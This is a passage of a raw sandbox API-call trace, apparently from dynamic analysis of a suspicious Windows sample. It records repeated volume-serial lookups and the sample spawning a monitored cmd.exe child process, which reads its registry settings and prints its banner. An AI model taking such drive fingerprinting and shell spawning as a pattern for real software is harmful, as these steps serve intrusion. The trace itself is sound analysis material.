GetProcessHeap () returned 0x870000 [0055.708] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88cc38 | out: hHeap=0x870000) returned 1 [0055.708] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88a468, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0055.708] GetProcessHeap () returned 0x870000 [0055.708] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a490 | out: hHeap=0x870000) returned 1 [0055.708] GetProcessHeap () returned 0x870000 [0055.708] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a440 | out: hHeap=0x870000) returned 1 [0055.708] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x234fe74, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x234fe74*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0055.709] GetProcessHeap () returned 0x870000 [0055.709] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a468 | out: hHeap=0x870000) returned 1 [0055.709] WaitForSingleObject (hHandle=0x114, dwMilliseconds=0xffffffff) returned 0x0 [0055.709] CloseHandle (hObject=0x114) returned 1 [0055.710] CloseHandle (hObject=0x110) returned 1 [0055.710] GetProcessHeap () returned 0x870000 [0055.710] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88c058 | out: hHeap=0x870000) returned 1 [0055.710] GetProcessHeap () returned 0x870000 [0055.710] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8840a8 | out: hHeap=0x870000) returned 1 [0055.710] GetProcessHeap () returned 0x870000 [0055.710] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b6a8 | out: hHeap=0x870000) returned 1 Thread: id = 8 os_tid = 0x78c [0055.712] GetLogicalDrives () returned 0x4 [0055.712] GetProcessHeap () returned 0x870000 [0055.712] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x20) returned 0x88a468 [0055.712] GetProcessHeap () returned 0x870000 [0055.713] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x8, Size=0x1e) returned 0x88a440 [0055.713] GetProcessHeap () returned 0x870000 [0055.713] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x1e) returned 0x88a490 [0055.713] GetProcessHeap () returned 0x870000 [0055.713] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x90) returned 0x88cc38 [0055.713] GetProcessHeap () returned 0x870000 [0055.713] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88cc38 | out: hHeap=0x870000) returned 1 [0055.713] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x88a440, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0055.713] GetProcessHeap () returned 0x870000 [0055.713] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a490 | out: hHeap=0x870000) returned 1 [0055.713] GetProcessHeap () returned 0x870000 [0055.713] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a468 | out: hHeap=0x870000) returned 1 [0055.714] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x25af7fc, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x25af7fc*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0055.714] GetProcessHeap () returned 0x870000 [0055.714] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88a440 | out: hHeap=0x870000) returned 1 [0055.714] GetProcessHeap () returned 0x870000 [0055.714] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x40) returned 0x8840a8 [0055.714] GetProcessHeap () returned 0x870000 [0055.714] RtlAllocateHeap (HeapHandle=0x870000, Flags=0x0, Size=0x28) returned 0x88b6a8 [0055.714] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x110 [0055.715] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=1, lpName=0x0) returned 0x114 [0055.715] CloseHandle (hObject=0x114) returned 1 [0055.715] CloseHandle (hObject=0x110) returned 1 [0055.715] GetProcessHeap () returned 0x870000 [0055.715] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b6a8 | out: hHeap=0x870000) returned 1 [0055.715] GetProcessHeap () returned 0x870000 [0055.715] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x8840a8 | out: hHeap=0x870000) returned 1 [0055.715] GetProcessHeap () returned 0x870000 [0055.716] HeapFree (in: hHeap=0x870000, dwFlags=0x0, lpMem=0x88b6e8 | out: hHeap=0x870000) returned 1 Thread: id = 9 os_tid = 0x114 Thread: id = 10 os_tid = 0x6e8 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x344f6000" os_pid = "0x2a8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xa84" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e6e5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 24 os_tid = 0x65c [0065.399] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1efb30 | out: lpSystemTimeAsFileTime=0x1efb30*(dwLowDateTime=0x699956f0, dwHighDateTime=0x1d5e0d0)) [0065.399] GetCurrentProcessId () returned 0x2a8 [0065.399] GetCurrentThreadId () returned 0x65c [0065.399] GetTickCount () returned 0x115a21a [0065.399] QueryPerformanceCounter (in: lpPerformanceCount=0x1efb38 | out: lpPerformanceCount=0x1efb38*=20665800772) returned 1 [0065.401] GetModuleHandleW (lpModuleName=0x0) returned 0x4a250000 [0065.401] __set_app_type (_Type=0x1) [0065.401] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a277810) returned 0x0 [0065.401] __getmainargs (in: _Argc=0x4a29a608, _Argv=0x4a29a618, _Env=0x4a29a610, _DoWildCard=0, _StartInfo=0x4a27e0f4 | out: _Argc=0x4a29a608, _Argv=0x4a29a618, _Env=0x4a29a610) returned 0 [0065.402] GetCurrentThreadId () returned 0x65c [0065.402] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x65c) returned 0x3c [0065.649] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76f20000 [0065.649] GetProcAddress (hModule=0x76f20000, lpProcName="SetThreadUILanguage") returned 0x76f36d40 [0065.649] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0065.650] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0065.650] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x1efac8 | out: phkResult=0x1efac8*=0x0) returned 0x2 [0065.651] VirtualQuery (in: lpAddress=0x1efab0, lpBuffer=0x1efa30, dwLength=0x30 | out: lpBuffer=0x1efa30*(BaseAddress=0x1ef000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.651] VirtualQuery (in: lpAddress=0xf0000, lpBuffer=0x1efa30, dwLength=0x30 | out: lpBuffer=0x1efa30*(BaseAddress=0xf0000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.651] VirtualQuery (in: lpAddress=0xf1000, lpBuffer=0x1efa30, dwLength=0x30 | out: lpBuffer=0x1efa30*(BaseAddress=0xf1000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.651] VirtualQuery (in: lpAddress=0xf4000, lpBuffer=0x1efa30, dwLength=0x30 | out: lpBuffer=0x1efa30*(BaseAddress=0xf4000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.651] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x1efa30, dwLength=0x30 | out: lpBuffer=0x1efa30*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xe000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0065.651] GetConsoleOutputCP () returned 0x1b5 [0065.652] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a28bfe0 | out: lpCPInfo=0x4a28bfe0) returned 1 [0065.653] SetConsoleCtrlHandler (HandlerRoutine=0x4a273184, Add=1) returned 1 [0065.653] _get_osfhandle (_FileHandle=1) returned 0x110 [0065.653] SetConsoleMode (hConsoleHandle=0x110, dwMode=0x0) returned 0 [0065.654] _get_osfhandle (_FileHandle=1) returned 0x110 [0065.654] GetConsoleMode (in: hConsoleHandle=0x110, lpMode=0x4a27e194 | out: lpMode=0x4a27e194) returned 0 [0065.654] _get_osfhandle (_FileHandle=0) returned 0x104 [0065.654] GetConsoleMode (in: hConsoleHandle=0x104, lpMode=0x4a27e198 | out: lpMode=0x4a27e198) returned 0 [0065.655] GetEnvironmentStringsW () returned 0x308a60* [0065.655] GetProcessHeap () returned 0x2f0000 [0065.655] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa7c) returned 0x3094f0 [0065.655] FreeEnvironmentStringsW (penv=0x308a60) returned 1 [0065.655] GetProcessHeap () returned 0x2f0000 [0065.656] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x8) returned 0x3088e0 [0065.656] GetEnvironmentStringsW () returned 0x308a60* [0065.656] GetProcessHeap () returned 0x2f0000 [0065.656] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa7c) returned 0x309f80 [0065.656] FreeEnvironmentStringsW (penv=0x308a60) returned 1 [0065.657] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee988 | out: phkResult=0x1ee988*=0x44) returned 0x0 [0065.657] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x0, lpData=0x1ee9a0*=0x18, lpcbData=0x1ee984*=0x1000) returned 0x2 [0065.657] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x4, lpData=0x1ee9a0*=0x1, lpcbData=0x1ee984*=0x4) returned 0x0 [0065.657] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x0, lpData=0x1ee9a0*=0x1, lpcbData=0x1ee984*=0x1000) returned 0x2 [0065.657] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x4, lpData=0x1ee9a0*=0x0, lpcbData=0x1ee984*=0x4) returned 0x0 [0065.657] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x4, lpData=0x1ee9a0*=0x40, lpcbData=0x1ee984*=0x4) returned 0x0 [0065.657] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x4, lpData=0x1ee9a0*=0x40, lpcbData=0x1ee984*=0x4) returned 0x0 [0065.658] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x0, lpData=0x1ee9a0*=0x40, lpcbData=0x1ee984*=0x1000) returned 0x2 [0065.658] RegCloseKey (hKey=0x44) returned 0x0 [0065.658] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1ee988 | out: phkResult=0x1ee988*=0x44) returned 0x0 [0065.658] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x0, lpData=0x1ee9a0*=0x40, lpcbData=0x1ee984*=0x1000) returned 0x2 [0065.658] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x4, lpData=0x1ee9a0*=0x1, lpcbData=0x1ee984*=0x4) returned 0x0 [0065.658] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x0, lpData=0x1ee9a0*=0x1, lpcbData=0x1ee984*=0x1000) returned 0x2 [0065.659] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x4, lpData=0x1ee9a0*=0x0, lpcbData=0x1ee984*=0x4) returned 0x0 [0065.659] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x4, lpData=0x1ee9a0*=0x9, lpcbData=0x1ee984*=0x4) returned 0x0 [0065.659] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x4, lpData=0x1ee9a0*=0x9, lpcbData=0x1ee984*=0x4) returned 0x0 [0065.659] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1ee980, lpData=0x1ee9a0, lpcbData=0x1ee984*=0x1000 | out: lpType=0x1ee980*=0x0, lpData=0x1ee9a0*=0x9, lpcbData=0x1ee984*=0x1000) returned 0x2 [0065.659] RegCloseKey (hKey=0x44) returned 0x0 [0065.659] time (in: timer=0x0 | out: timer=0x0) returned 0x5e429344 [0065.659] srand (_Seed=0x5e429344) [0065.659] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0065.659] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0065.660] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a28c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.660] GetProcessHeap () returned 0x2f0000 [0065.660] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x218) returned 0x30aa10 [0065.661] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x30aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0065.661] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0065.661] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0065.661] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0065.661] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0065.661] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0065.661] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0065.661] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0065.661] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0065.661] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0065.662] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0065.662] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0065.662] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0065.662] GetProcessHeap () returned 0x2f0000 [0065.662] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x3094f0 | out: hHeap=0x2f0000) returned 1 [0065.662] GetEnvironmentStringsW () returned 0x308a60* [0065.662] GetProcessHeap () returned 0x2f0000 [0065.662] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xa94) returned 0x30ac30 [0065.663] FreeEnvironmentStringsW (penv=0x308a60) returned 1 [0065.663] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0065.663] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a27f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0065.663] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0065.663] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0065.663] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0065.663] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0065.663] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0065.663] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0065.663] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0065.663] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0065.663] GetProcessHeap () returned 0x2f0000 [0065.664] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x5c) returned 0x30b6d0 [0065.664] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1ef790 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0065.664] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x1ef790, lpFilePart=0x1ef770 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1ef770*="Desktop") returned 0x25 [0066.023] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0066.024] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ef4a0 | out: lpFindFileData=0x1ef4a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x30b740 [0066.024] FindClose (in: hFindFile=0x30b740 | out: hFindFile=0x30b740) returned 1 [0066.024] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x1ef4a0 | out: lpFindFileData=0x1ef4a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x30b740 [0066.024] FindClose (in: hFindFile=0x30b740 | out: hFindFile=0x30b740) returned 1 [0066.025] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0066.025] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x1ef4a0 | out: lpFindFileData=0x1ef4a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x56d45100, ftLastAccessTime.dwHighDateTime=0x1d5e0d0, ftLastWriteTime.dwLowDateTime=0x56d45100, ftLastWriteTime.dwHighDateTime=0x1d5e0d0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x30b740 [0066.025] FindClose (in: hFindFile=0x30b740 | out: hFindFile=0x30b740) returned 1 [0066.025] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0066.025] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0066.025] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0066.026] GetProcessHeap () returned 0x2f0000 [0066.026] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30ac30 | out: hHeap=0x2f0000) returned 1 [0066.026] GetEnvironmentStringsW () returned 0x30b740* [0066.026] GetProcessHeap () returned 0x2f0000 [0066.026] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0xae8) returned 0x30c230 [0066.026] FreeEnvironmentStringsW (penv=0x30b740) returned 1 [0066.026] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a28c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0066.026] GetProcessHeap () returned 0x2f0000 [0066.026] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30b6d0 | out: hHeap=0x2f0000) returned 1 [0066.026] GetProcessHeap () returned 0x2f0000 [0066.027] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x8, Size=0x4016) returned 0x30cd20 [0066.027] GetProcessHeap () returned 0x2f0000 [0066.028] HeapFree (in: hHeap=0x2f0000, dwFlags=0x0, lpMem=0x30cd20 | out: hHeap=0x2f0000) returned 1 [0066.028] GetConsoleOutputCP () returned 0x1b5 [0066.028] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a28bfe0 | out: lpCPInfo=0x4a28bfe0) returned 1 [0066.028] GetUserDefaultLCID () returned 0x409 [0066.030] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a287b50, cchData=8 | out: lpLCData=":") returned 2 [0066.030] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x1ef8a0, cchData=128 | out: lpLCData="0") returned 2 [0066.030] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x1ef8a0, cchData=128 | out: lpLCData="0") returned 2 [0066.030] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x1ef8a0, cchData=128 | out: lpLCData="1") returned 2 [0066.030] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a29a740, cchData=8 | out: lpLCData="/") returned 2 [0066.030] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a29a4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0066.031] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a29a460, cchData=32 | out: lpLCData="Tue") returned 4 [0066.031] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a29a420, cchData=32 | out: lpLCData="Wed") returned 4 [0066.031] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a29a3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0066.031] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a29a3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0066.031] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a29a360, cchData=32 | out: lpLCData="Sat") returned 4 [0066.031] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a29a700, cchData=32 | out: lpLCData="Sun") returned 4 [0066.031] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a287b40, cchData=8 | out: lpLCData=".") returned 2 [0066.031] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a29a4e0, cchData=8 | out: lpLCData=",") returned 2 [0066.031] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0066.033] GetProcessHeap () returned 0x2f0000 [0066.033] RtlAllocateHeap (HeapHandle=0x2f0000, Flags=0x0, Size=0x20c) returned 0x3095c0 [0066.033] GetConsoleTitleW (in: lpConsoleTitle=0x3095c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0066.034] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.034] GetFileType (hFile=0x110) returned 0x3 [0066.034] BrandingFormatString () returned 0x3097e0 [0066.047] GetVersion () returned 0x1db10106 [0066.047] _vsnwprintf (in: _Buffer=0x1efa10, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x1ef9a8 | out: _Buffer="6.1.7601") returned 8 [0066.047] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.047] GetFileType (hFile=0x110) returned 0x3 [0066.048] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a296340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0066.048] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4a296340, nSize=0x2000, Arguments=0x1ef9b0 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0066.048] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.048] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4a28c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0066.049] WriteFile (in: hFile=0x110, lpBuffer=0x4a28c320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x1ef938, lpOverlapped=0x0 | out: lpBuffer=0x4a28c320*, lpNumberOfBytesWritten=0x1ef938*=0x24, lpOverlapped=0x0) returned 1 [0066.049] _vsnwprintf (in: _Buffer=0x4a296340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1ef9d8 | out: _Buffer="\r\n") returned 2 [0066.049] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.049] GetFileType (hFile=0x110) returned 0x3 [0066.049] _get_osfhandle (_FileHandle=1) returned 0x110 [0066.049] 